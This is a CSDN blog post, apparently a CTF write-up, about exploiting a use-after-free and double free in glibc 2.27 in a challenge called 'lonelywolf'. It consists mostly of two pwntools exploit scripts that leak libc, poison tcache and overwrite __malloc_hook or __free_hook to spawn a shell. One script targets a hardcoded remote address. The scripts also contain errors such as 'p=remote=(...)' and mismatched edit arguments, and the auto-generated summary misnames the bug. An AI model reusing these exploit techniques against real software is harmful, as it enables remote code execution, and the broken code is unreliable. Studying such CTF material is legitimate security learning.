lonewolf

最新推荐文章于 2022-05-19 14:19:36 发布

w0nderMaker

最新推荐文章于 2022-05-19 14:19:36 发布

阅读量1k

点赞数

本文链接：https://blog.csdn.net/wuyvle/article/details/116849783

版权

该博客详细介绍了如何利用2.27版本的未初始化指针引用（UAF）漏洞进行堆溢出，并通过double free技巧绕过额外检查，最终实现对`__malloc_hook`的劫持，从而控制程序流程。通过泄露libc基地址和利用gadgets，博主展示了如何构造payload以执行自定义代码，如执行`/bin/sh`来获取shell。

摘要由CSDN通过智能技术生成

在这里插入图片描述

原来是一个uaf，真不戳，还有一个show函数，也就是说我们可以泄露libc基值，但是因为申请的chunk大小受限，不能申请到大小为unsorted bin的堆，但是我们可以double free，但现在2.27比之前要多了检查，我们要修改一下，如何可以快乐的df了，劫持free_hook，得到flag

from pwn import *
context.update(terminal=['tmux','splitw','-h'])
elf=ELF("./lonelywolf")
p=remote=("124.70.38.80",22175)
libc = ELF('./libc-2.27.so')
gadget=[0x4f3d5,0x4f432,0x10a41c]
def add(size): 
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline('0')
    p.recvuntil("Size: ")
    p.sendline(str(size))


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline('0')


def edit(idx,content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Content: ')
    p.sendline(content)

def show():
    p.recvuntil("Your choice: ")
    p.sendline(3)
    p.recvuntil("Index: ")
    p.sendline('0')
    p.recvuntil("Content: ")

add(0x70)
free()
edit(0,'aaaa')
free()
show()
heap_addr=u64(p.recv(6).ljust(8,'\x00'))+0x20
edit(p64(heap_addr+0x10))
add(0x70)
add(0x70)
edit('\x07'*0x40)
free()
show()
libc_base =  u64( p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']
oneget=gadget[2]+libc_base
add(0x70)
free()
edit(0,'aaaa')
free()
edit(0,p64(malloc_hook))
add(0x70)
add(0x70)
edit(0,p64(oneget))
add(0x10)
p.interactive()

一个2.27的uaf漏洞，可以通过df来进行泄露，可以选择劫持程序流

from pwn import *
context.terminal=["gnome-terminal",'-x','sh','-c']
p=remote=("")
libc = ELF('./libc-2.27.so')

def add(size): 
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline('0')
    p.recvuntil("Size: ")
    p.sendline(str(size))


def delete():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline('0')


def edit(c="a"):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline('0')
    p.recvuntil("Content: " )  
    p.sendline(c)  

def show():
    p.recvuntil("Your choice: ")
    p.sendline(3)
    p.recvuntil("Index: ")
    p.sendline('0')
    p.recvuntil("Content: ")

add(0x70)
delete()
edit(p64(0)+'a')
delete()
show()
heap_addr=u64(p.recv(6)+'\x00'*2)-0x260
edit(p64(heap_addr+0x10))
add(0x70)
add(0x70)
edit('\x07'*0x40)
delete()
show()
libc_base =  u64( p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
edit('\x01'*0x40+p64(free_hook-8))
add(0x10)
edit('/bin/sh\x00'+p64(sys_addr))
delete()
p.interactive()